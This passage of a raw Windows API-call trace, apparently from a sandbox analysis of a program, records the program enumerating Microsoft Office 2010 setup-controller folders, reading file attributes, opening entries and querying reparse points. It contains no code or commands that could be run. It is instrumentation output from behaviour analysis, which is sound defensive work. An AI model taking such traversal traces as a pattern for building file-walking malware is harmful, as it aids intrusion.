(HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.734] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.734] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.744] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.744] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.744] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x14af010, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x2095e10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2095e10, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Outlook.en-us", cAlternateFileName="")) returned 1 [0235.745] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb169e000, ftCreationTime.dwHighDateTime=0x1ca911f, ftLastAccessTime.dwLowDateTime=0x6cee1d10, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb169e000, ftLastWriteTime.dwHighDateTime=0x1ca911f, nFileSizeHigh=0x0, nFileSizeLow=0x165510, dwReserved0=0x0, dwReserved1=0x0, cFileName="pidgenx.dll", cAlternateFileName="")) returned 1 [0235.745] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.745] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.745] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.745] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.760] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.760] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.760] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x17eefe00, ftCreationTime.dwHighDateTime=0x1ca9120, ftLastAccessTime.dwLowDateTime=0xbe99ad60, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x17eefe00, ftLastWriteTime.dwHighDateTime=0x1ca9120, nFileSizeHigh=0x0, nFileSizeLow=0xaec3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig-office.xrm-ms", cAlternateFileName="")) returned 1 [0235.761] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.761] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.761] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.761] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.761] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.762] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9066c8 [0235.762] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.762] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904a58 [0235.762] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x9069e0 [0235.762] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.762] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6904ef00, ftCreationTime.dwHighDateTime=0x1ca912c, ftLastAccessTime.dwLowDateTime=0x6cf07e70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6904ef00, ftLastWriteTime.dwHighDateTime=0x1ca912c, nFileSizeHigh=0x0, nFileSizeLow=0x3d78, dwReserved0=0x0, dwReserved1=0x0, cFileName="pkeyconfig.companion.dll", cAlternateFileName="")) returned 1 [0235.762] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.762] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.762] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.762] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.762] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.762] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.762] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPoint.en-us", cAlternateFileName="")) returned 1 [0235.762] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0235.762] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="")) returned 1 [0235.762] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0235.762] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0235.762] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0235.762] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="")) returned 1 [0235.762] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0235.762] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1ba9ab90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1bc89d70, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1bc89d70, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Publisher.en-us", cAlternateFileName="")) returned 1 [0235.762] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8cba0700, ftCreationTime.dwHighDateTime=0x1cb7664, ftLastAccessTime.dwLowDateTime=0xd78c2600, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x8cba0700, ftLastWriteTime.dwHighDateTime=0x1cb7664, nFileSizeHigh=0x0, nFileSizeLow=0x150378, dwReserved0=0x0, dwReserved1=0x0, cFileName="Setup.exe", cAlternateFileName="")) returned 1 [0235.762] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.762] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.762] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.762] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.762] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.762] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.762] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50b66320, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x50da17c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x50da17c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Visio.en-us", cAlternateFileName="")) returned 1 [0235.762] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x83258520, ftCreationTime.dwHighDateTime=0x1d305eb, ftLastAccessTime.dwLowDateTime=0x84c615c0, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x84c615c0, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="VISIOR", cAlternateFileName="")) returned 1 [0235.763] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="")) returned 1 [0235.763] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x1e501370, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x1e501370, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1e501370, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Word.en-us", cAlternateFileName="")) returned 0 [0235.763] GetLastError () returned 0x12 [0235.763] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\*", fInfoLevelId=0x1, lpFindFileData=0x15fec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fec9c) returned 0x4fd620 [0235.763] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0235.763] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xee2ce510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbe974c00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbe974c00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.763] FindNextFileW (in: hFindFile=0x4fd620, lpFindFileData=0x15fec9c | out: lpFindFileData=0x15fec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Access.en-us", cAlternateFileName="")) returned 1 [0235.763] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0235.763] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us"), fInfoLevelId=0x0, lpFileInformation=0x15feb98 | out: lpFileInformation=0x15feb98*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0235.810] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x1b8 [0235.812] SetFileTime (hFile=0x1b8, lpCreationTime=0x0, lpLastAccessTime=0x15febdc, lpLastWriteTime=0x15febdc) returned 0 [0235.812] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4000) returned 0x906be0 [0235.813] DeviceIoControl (in: hDevice=0x1b8, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x906be0, nOutBufferSize=0x4000, lpBytesReturned=0x15fec34, lpOverlapped=0x0 | out: lpOutBuffer=0x906be0, lpBytesReturned=0x15fec34, lpOverlapped=0x0) returned 0 [0235.813] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906be0) returned 1 [0235.819] NtClose (Handle=0x1b8) returned 0x0 [0235.819] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8fe728) returned 1 [0235.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f67c8 [0235.819] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x8fe728 [0235.820] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.820] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906bf8 [0235.820] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5e0 [0235.874] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.874] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="")) returned 1 [0235.874] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.874] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.875] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906d00 [0235.875] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f67c8) returned 1 [0235.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904a78 [0235.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906e08 [0235.875] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.875] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="")) returned 1 [0235.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.875] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.875] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904a98 [0235.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x906f10 [0235.875] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.875] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0235.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.875] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.875] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x80) returned 0x8f5640 [0235.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x18) returned 0x904ab8 [0235.875] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x100) returned 0x907018 [0235.875] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x8f5640) returned 1 [0235.875] FindNextFileW (in: hFindFile=0x4fd5e0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0235.875] GetLastError () returned 0x12 [0235.875] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\*", fInfoLevelId=0x1, lpFindFileData=0x15fe9e4, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x15fe9e4) returned 0x4fd5a0 [0235.876] FindClose (in: hFindFile=0x4fd5e0 | out: hFindFile=0x4fd5e0) returned 1 [0235.876] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x15419830, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x17bd2750, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0235.876] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa5fe940, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x15419830, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa5fe940, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x545, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUI.XML", cAlternateFileName="")) returned 1 [0235.876] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfa13c510, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfa13c510, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x333, dwReserved0=0x0, dwReserved1=0x0, cFileName="AccessMUISet.XML", cAlternateFileName="")) returned 1 [0235.876] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0235.876] FindNextFileW (in: hFindFile=0x4fd5a0, lpFindFileData=0x15fe9e4 | out: lpFindFileData=0x15fe9e4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc111bb0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x17bd2750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc111bb0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0xa40, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0235.876] GetLastError () returned 0x12 [0235.876] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906bf8) returned 1 [0235.876] FindClose (in: hFindFile=0x4fd5a0 | out: hFindFile=0x4fd5a0) returned 1 [0235.877] RtlFreeHeap (HeapHandle=0x4a0000, Flags=0x0, BaseAddress=0x906d00) returned 1 [0235.877] RtlFreeHeap 